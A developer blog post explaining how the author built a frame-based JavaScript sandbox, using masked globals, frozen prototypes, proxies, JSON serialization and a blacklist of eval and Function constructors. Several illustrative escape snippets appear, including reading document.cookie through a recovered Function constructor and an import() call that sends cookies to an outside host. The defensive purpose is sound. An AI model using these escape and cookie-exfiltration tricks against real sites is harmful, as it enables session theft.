Hello, I'm Jin, and I... want to play a game with you. Its rules are very simple, but breaking them... will lead you to victory. Feel like a hacker getting out of the JavaScript sandbox in order to read cookies, mine bitcoins, make a deface, or something else interesting.
And then I'll tell you how the sandbox works and give you some ideas for hacking.
How it works
The first thing we need to do is hide all the global variables. This is easy to do — just mask them with local variables of the same name:
for( let name in window ) {
context_default[ name ] = undefined
}
However, many properties (for example, window.constructor
) are non-iterable. Therefore, it is necessary to iterate over all the properties of the object:
for( let name of Object.getOwnPropertyNames( window ) ) {
context_default[ name ] = undefined
}
But Object.getOwnPropertyNames
returns only the object's own properties, ignoring everything it inherits from the prototype. So we need to go through the entire chain of prototypes in the same way and collect names of all possible properties of the global object:
function clean( obj : object ) {
for( let name of Object.getOwnPropertyNames( obj ) ) {
context_default[ name ] = undefined
}
const proto = Object.getPrototypeOf( obj )
if( proto ) clean( proto )
}
clean( win )
And everything would be fine, but this code falls because, in strict mode, you can not declare a local variable named eval
:
'use strict'
var eval // SyntaxError: Unexpected eval or arguments in strict mode
But use it - allowed:
'use strict'
eval('document.cookie') // password=P@zzW0rd
Well, the global eval can simply be deleted:
'use strict'
delete window.eval
eval('document.cookie') // ReferenceError: eval is not defined
And for reliability, it is better to go through all its own properties and remove everything:
for( const key of Object.getOwnPropertyNames( window ) ) delete window[ key ]
Why do we need a strict mode? Because without it, you can use arguments.callee.caller
to get any function higher up the stack and do things:
function unsafe(){ console.log( arguments.callee.caller ) }
function safe(){ unsafe() }
safe() // ƒ safe(){ unsafe() }
In addition, in non-strict mode, it is easy to get a global namespace just by taking this
when calling a function not as a method:
function get_global() { return this }
get_global() // window
All right, we've masked all the global variables. But their values can still be obtained from the primitives of the language. For example:
var Function = ( ()=>{} ).constructor
var hack = new Function( 'return document.cookie' )
hack() // password=P@zzW0rd
What to do? Delete unsafe constructors:
Object.defineProperty( Function.prototype , 'constructor' , { value : undefined } )
This would be enough for some ancient JavaScript, but now we have different types of functions and each option should be secured:
var Function = Function || ( function() {} ).constructor
var AsyncFunction = AsyncFunction || ( async function() {} ).constructor
var GeneratorFunction = GeneratorFunction || ( function*() {} ).constructor
var AsyncGeneratorFunction = AsyncGeneratorFunction || ( async function*() {} ).constructor
Different scripts can run in the same sandbox, and it won't be good if they can affect each other's, so we freeze all objects that are available through the language primitives:
for( const Class of [
String , Number , BigInt , Boolean , Array , Object , Promise , Symbol , RegExp ,
Error , RangeError , ReferenceError , SyntaxError , TypeError ,
Function , AsyncFunction , GeneratorFunction ,
] ) {
Object.freeze( Class )
Object.freeze( Class.prototype )
}
OK, we have implemented total fencing, but the price for this is a severe abuse of runtime, which can also break our own application. That is, we need a separate runtime for the sandbox, where you can create any obscenities. There are two ways to get it: via a hidden frame or via a web worker.
Features of the worker:
- Full memory isolation. It is not possible to break the runtime of the main application from the worker.
- You can't pass your functions to the worker, which is often necessary. This restriction can be partially circumvented by implementing RPC.
- The worker can be killed by timeout if the villain writes an infinite loop there.
- All communication is strictly asynchronous, which is not very fast.
Frame features:
- You can pass any objects and functions to the frame, but you can accidentally grant access to something that you wouldn't.
- An infinite loop in the sandbox hangs the entire app.
- All communication is strictly synchronous.
Implementing RPC for a worker is not tricky, but its limitations are not always acceptable. So let's consider the option with a frame.
If you pass an object to the sandbox from which at least one changeable object is accessible via links, then you can change it from the sandbox and break our app:
numbers.toString = ()=> { throw 'lol' }
But this is still a flower. The transmission in the frame, any function will immediately open wide all doors to a cool-hacker:
var Function = random.constructor
var hack = new Function( 'return document.cookie' )
hack() // password=P@zzW0rd
Well, the proxy is coming to the rescue:
const safe_derived = ( val : any ) : any => {
const proxy = new Proxy( val , {
get( val , field : any ) {
return safe_value( val[field] )
},
set() { return false },
defineProperty() { return false },
deleteProperty() { return false },
preventExtensions() { return false },
apply( val , host , args ) {
return safe_value( val.call( host , ... args ) )
},
construct( val , args ) {
return safe_value( new val( ... args ) )
},
}
return proxy
})
In other words, we allow accessing properties, calling functions, and constructing objects, but we prohibit all invasive operations. It is tempting to wrap the returned values in such proxies, but then you can follow the links to an object that has a mutating method and use it:
config.__proto__.__defineGetter__( 'toString' , ()=> ()=> 'rofl' )
({}).toString() // rofl
Therefore, all values are forced to run through intermediate serialization in JSON:
const SafeJSON = frame.contentWindow.JSON
const safe_value = ( val : any ) : any => {
const str = JSON.stringify( val )
if( !str ) return str
val = SafeJSON.parse( str )
return val
}
This way only objects and functions that we passed there explicitly will be available from the sandbox. But sometimes you need to pass some objects implicitly. For them, we will create a whitelist
in which we will automatically add all objects that are wrapped in a secure proxy, are neutralized, or come from the sandbox:
const whitelist = new WeakSet
const safe_derived = ( val : any ) : any => {
const proxy = ...
whitelist.add( proxy )
return proxy
}
const safe_value = ( val : any ) : any => {
if( whitelist.has( val ) ) return val
const str = JSON.stringify( val )
if( !str ) return str
val = SafeJSON.parse( str )
whitelist.add( val )
return val
}
And in case the developer inadvertently provides access to some function that allows you to interpret the string as code, we'll also create a blacklist
listing what can't be passed to the sandbox under any circumstances:
const blacklist = new Set([
( function() {} ).constructor ,
( async function() {} ).constructor ,
( function*() {} ).constructor ,
eval ,
setTimeout ,
setInterval ,
])
Finally, there is such a nasty thing as import()
, which is not a function, but a statement of the language, so you can not just delete it, but it allows you to do things:
import( "https://example.org/" + document.cookie )
We could use the sandbox
attribute from the frame to prohibit executing scripts loaded from the left domain:
frame.setAttribute( 'sandbox' , `allow-same-origin` )
But the request to the server will still pass. Therefore, it is better to use a more reliable solution - to stop the event-loop by deleting the frame, after getting all the objects necessary for running scripts from it:
const SafeFunction = frame.contentWindow.Function
const SafeJSON = frame.contentWindow.JSON
frame.parentNode.removeChild( frame )
Accordingly, any asynchronous operations will produce an error, but synchronous operations will continue to work.
As a result, we have a fairly secure sandbox with the following characteristics:
- You can execute any JS code.
- The code is executed synchronously and does not require making all functions higher up the stack asynchronous.
- You can't read data that you haven't granted access to.
- You can't change the behavior of an application that uses the sandbox.
- You can't break the functionality of the sandbox itself.
- You can hang the app in an infinite loop.
But what about infinite loops? They are quite easy to detect. You can prevent this code from being passed at the stage when the attacker enters it. And even if such a code does get through, you can detect it after the fact and delete it automatically or manually.
If you have any ideas on how to improve it, write a telegram.
Links
- https://sandbox.js.hyoo.ru/ - online sandbox with examples of potentially dangerous code.
- https://calc.hyoo.ru/ - a spreadsheet that allows you to use custom JS code in cells.
- https://showcase.hyoo.ru/ - other our apps. Order a new one from us if you want.
Top comments (0)